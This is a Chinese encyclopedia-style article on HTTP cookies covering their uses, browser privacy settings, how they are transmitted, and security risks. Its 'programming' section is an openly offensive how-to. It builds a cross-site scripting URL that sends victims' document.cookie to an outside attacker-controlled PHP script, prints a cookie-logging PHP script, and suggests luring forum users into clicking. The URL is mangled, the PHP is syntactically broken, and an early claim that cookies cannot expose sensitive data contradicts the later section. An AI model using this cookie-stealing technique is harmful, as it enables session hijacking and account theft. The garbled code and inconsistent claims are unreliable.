cookie

cookie
cookie

cookie
[编辑本段]cookie的具体含义
cookie 历来指就着牛奶一起吃的点心.然而,在因特网内,“cookie”这个字有了完全不同的意思.那么“cookie”到底是什么呢?“Cookie”是小量信息,由网络服务器发送出来以存储在网络浏览器上,从而下次这位独一无二的访客又回到该网络服务器时,可从该浏览器读回此信息.这是很有用的,让浏览器记住这位访客的特定信息,如上次访问的位置、花费的时间或用户首选项（如样式表）.Cookie 是个存储在浏览器目录的文本文件,当浏览器运行时,存储在 RAM 中.一旦阁下从该网站或网络服务器退出,Cookie 也可存储在计算机的硬驱上.I3I.net的打算是,当访客结束其浏览器对话时,即终止I3I.net的所有 cookie.
Cookie 有哪些用途?
Cookie 的用途之一是存储用户在特定网站上的密码和 ID.另外,也用于存储起始页的首选项.在提供个人化查看的网站上,将要求阁下的网络浏览器利用阁下计算机硬驱上的少量空间来储存这些首选项.这样,每次阁下登录该网站时,阁下的浏览器将检查阁下是否就该唯一的服务器有任何预先定义的首选项（cookie）.如果有的话,浏览器将此 cookie 随阁下对网页的请求一起发送给服务器.Microsoft 和 Netscape 使用 cookie 在其网站上创建个人起始页.各家公司利用 cookie 的一般用途包括：在线定货系统、网站个人化和网站跟踪.
网站个人化是 cookie 最有益的用途之一.例如,当谁来到 CNN 网站,但并不想查看任何商务新闻.网站允许他将该项选为选项.从那时起（或者直到 cookie 逾期）,他在访问 CNN 网页时将不会读到商务新闻.
这些 Cookie 是如何起作用的?
文档的 HTML 代码中的命令行告诉浏览器设置某一名称或数值的 cookie.以下是用来设置 cookie 脚本的一个普通实例.
Set-Cookie: name = VALUE;
expires = DATE;
path = PATH;
domain = DOMAIN_NAME;
那么安全性如何?HTTP Cookie 不能用来从阁下的硬驱上检索个人数据、放置病毒、得到阁下的电子邮件地址或偷窃有关阁下身份的敏感信息；然而,HTTP Cookie 可用来跟踪阁下在特定网站上的所到之处.不使用 cookie 就很难进行网站跟踪.
至于其他一切与因特网有关的事,如同阁下所希望的那样是匿名的.没有网站知道阁下是谁,除非阁下自己透露给网站.同时,cookie 只是为了更好地了解使用模式并改进网站访客的效率而采用的一个网站跟踪统计手段而已.
如果网站设计师旨在使网页能与访客更具互动作用,或者若设计师计划让访客自定义网站的外观,则就需要使用 cookie.而且,如果阁下想要网站在某些情况下改变其外观,cookie 则提供了一条快速、容易的途径,让阁下的 HTML 页面按需要而改变.最新型的服务器使用 cookie 有助于数据库的互动性,进而改进网站的整体互动性.
Cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现：你好XX,感觉很亲切,就好像是吃了一个小甜品一样.这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了Cookie.想全面了解Cookie吗?看看下文吧!
一.了解Cookie 适用对象：初级读者
Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取Cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等等.你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookie.这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名.如果你使用NetsCape浏览器,则存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,与IE不同的是,NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies.
为了保证上网安全我们需要对Cookie进行适当设置.打开“工具/Internet选项”中的“隐私”选项卡（注意该设置只在IE6.0中存在,其他版本IE可以在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整）,调整Cookie的安全级别.通常情况,可以将滑块调整到“中高”或者“高”的位置.多数的论坛站点需要使用Cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有Cookies”.如果只是为了禁止个别网站的Cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中.在“高级”按钮选项中,你可以对第一方Cookie和第三方的Cookie进行设置,第一方Cookie是你正在浏览的网站的Cookie,第三方Cookie非正在浏览的网站发给你的Cookie,通常要对第三方Cookie选择“拒绝”,如图1.你如果需要保存Cookie,可以使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操作即可.
Cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义.通过一些软件我们可以查看到更多的内容,使用Cookie Pal软件查看到的Cookie信息,如图2所示.它为我们提供了Server、Expires、Name、value等选项的内容.其中,Server是存储Cookie的网站,Expires记录了Cookie的时间和生命期,Name和value字段则是具体的数据
二、Cookie的传递流程 适用对象：中级读者
当在浏览器地址栏中键入了一个Web站点的URL,浏览器会向该Web站点发送一个读取网页的请求,并将结果在显示器上显示.这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件,如果找到,浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器.服务器收到Cookie数据,就会在他的数据库中检索你的ID,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和Cookie文件中去.如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的CGI程序将为你创建新的ID信息,并保存到数据库中.
Cookie是利用了网页代码中的HTTP头信息进行传递的,浏览器的每一次网页请求,都可以伴随Cookie传递,例如,浏览器的打开或刷新网页操作.服务器将Cookie添加到网页的HTTP头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的Cookie设置选择是否保存这些数据.如果浏览器不允许Cookie保存,则关掉浏览器后,这些数据就消失.Cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得.Cookie有一个Expires（有效期）属性,这个属性决定了Cookie的保存时间,服务器可以通过设定Expires字段的数值,来改变Cookie的保存时间.如果不设置该属性,那么Cookie只在浏览网页期间有效,关闭浏览器,这些Cookie自动消失,绝大多数网站属于这种情况.通常情况下,Cookie包含Server、Expires、Name、value这几个字段,其中对服务器有用的只是Name和value字段,Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies.
三、Cookie的编程实现 适用对象：高级读者
多数网页编程语言都提供了对Cookie的支持.如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等.在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为：先创建一个Cookie对象（Object）,然后利用控制函数对Cookie进行赋值、读取、写入等操作.那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍.
该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL；然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码.下面我们看具体的实现过程.
1.分析并构造URL
首先打开我们要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名“”（不含引号）,对数据进行分析抓包,得到形如“http://www.XXX.net/txl/login/login.x=28&ok.y=6”的代码,将“”更换为“”再试；如果执行成功,就开始构造URL：“http://www.cbifamily.org/cbi.php?\"%2Bdocuments.cookie)&passwd=&ok.x=28&ok.y=6" target="_blank">http://www.XXX.net/txl/login/log ;... swd=&ok.x=28&ok.y=6”.其中http:///www.cbifamily.org/cbi.php就是你能够控制的某台主机上的一个脚本.需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理.该URL就可以在论坛中发布,诱使别人点击了.
2.编制PHP脚本
该脚本的作用就是收集Cookie文件,具体内容如下：
$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("info.txt","a";
fwrite($fp,$info."\n";
fclose($fp);
}
header("Location: http://www.XXX.net\";
?>
四、Cookie的安全问题 适用对象：所有希望上网安全的读者
1.Cookie欺骗
Cookie记录着用户的帐户ID、密码之类的信息,如果在网上传递,通常使用的是MD5方法加密.这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字.然而,现在遇到的问题是,截获Cookie的人不需要知道这些字符串的含义,他们只要把别人的Cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站.这种方法叫做Cookie欺骗.Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的Cookie信息.目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞.而且要获得别人Cookie是很容易的,用支持Cookie的语言编写一小段代码就可以实现（具体方法见三）,只要把这段代码放到网络里,那么所有人的Cookie都能够被收集.如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的Cookie.在论坛上,有许多人的密码就被这种方法盗去的.至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用IE自动保存密码的功能,以及尽量不登陆不了解底细的网站.
2.Flash的代码隐患
Flash中有一个getURL（）函数,Flash可以利用这个函数自动打开指定的网页.因此它可能把你引向一个包含恶意代码的网站.打个比方,当你在自己电脑上欣赏精美的Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面.这个页面可以收集你的Cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等.对于Flash的这种行为,网站是无法禁止的,因为这是Flash文件的内部行为.我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止.如果是在Internet上欣赏,最好找一些知名的大网站.